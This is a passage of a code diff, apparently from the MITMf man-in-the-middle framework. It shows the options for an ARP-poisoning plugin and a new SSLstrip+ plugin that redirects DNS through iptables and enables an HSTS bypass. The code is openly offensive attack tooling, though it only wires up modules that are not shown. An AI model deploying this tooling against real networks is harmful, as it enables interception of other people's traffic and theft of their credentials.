options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
||||
options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')
|
||||
options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison')
|
||||
options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
|
||||
|
||||
def on_shutdown(self):
|
||||
from core.utils import iptables, set_ip_forwarding
|
||||
|
||||
for protocol in self.protocol_instances:
|
||||
if hasattr(protocol, 'stop'):
|
||||
protocol.stop()
|
||||
|
||||
if not self.manualiptables:
|
||||
iptables().Flush()
|
||||
|
||||
set_ip_forwarding(0)
|
49
plugins/sslstrip+.py
Normal file
49
plugins/sslstrip+.py
Normal file
|
@ -0,0 +1,49 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import sys
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class SSLstripPlus(Plugin):
|
||||
name = 'SSLstrip+'
|
||||
optname = 'hsts'
|
||||
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
||||
version = "0.4"
|
||||
tree_info = ["SSLstrip+ by Leonardo Nve running"]
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.manualiptables = options.manualiptables
|
||||
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
from core.utils import iptables
|
||||
|
||||
if not options.manualiptables:
|
||||
if iptables().dns is False:
|
||||
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
||||
|
||||
URLMonitor.getInstance().setHstsBypass()
|
||||
DNSChef().setHstsBypass()
|
||||
|
||||
def on_shutdown(self):
|
||||
from core.utils import iptables
|
||||
if not self.manualiptables:
|
||||
if iptables().dns is True:
|
||||
iptables().Flush()
|
Loading…
Add table
Add a link
Reference in a new issue